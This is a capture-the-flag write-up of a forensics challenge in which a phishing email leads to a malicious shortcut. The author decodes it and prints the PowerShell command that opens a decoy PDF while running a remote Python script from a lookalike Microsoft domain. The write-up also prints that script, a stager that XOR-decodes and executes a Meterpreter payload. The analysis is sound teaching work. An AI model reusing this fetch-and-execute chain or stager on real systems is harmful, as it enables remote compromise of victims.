# A new Hire
### The Royal Archives of Eldoria have recovered a mysterious document—an old resume once belonging to Lord Malakar before his fall from grace. At first glance, it appears to be an ordinary record of his achievements as a noble knight, but hidden within the text are secrets that reveal his descent into darkness.

First, the challenge welcomes us with an .eml file, so an email. We then open it to see its contents :


We then go to the link provided by the challenge after making a small modification to `/etc/hosts` and entering the port provided by the challenge.
We then arrive at an index.php file, which prompts us to click a button to reveal the famous CV :


This button, which is supposed to unlock our access to the CV, actually downloads this :


So I wonder, what is this shortcut doing ?


Once decoded from base64, we get this :
```powershell
[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:41075/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf'); \\storage.microsoftcloudservices.com@41075\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe \\storage.microsoftcloudservices.com@41075\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py
```
So we go to the URL `http://storage.microsoftcloudservices.com:41075/3fe1690d955e8fd2a0b282501570e1f4/configs/client.py`, which lets us download another little gift :
```python
key=base64.decode("SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg==")

data = base64.b64decode("c97FeXRj6jeG5P74ANItMBN […] ")
meterpreter_data = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

exec(__import__('zlib').decompress(meterpreter_data)[0])
```
Which leads us to this :
```python
import base64
print(base64.b64decode("SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg=="))
```
Bingo! Let's make it readable again :


And there you have it !

Original writeup (https://github.com/CreaTikaa/Cyber-Apocalypse-CTF-2025-Tales-from-Eldoria/tree/main/A%20new%20Hire).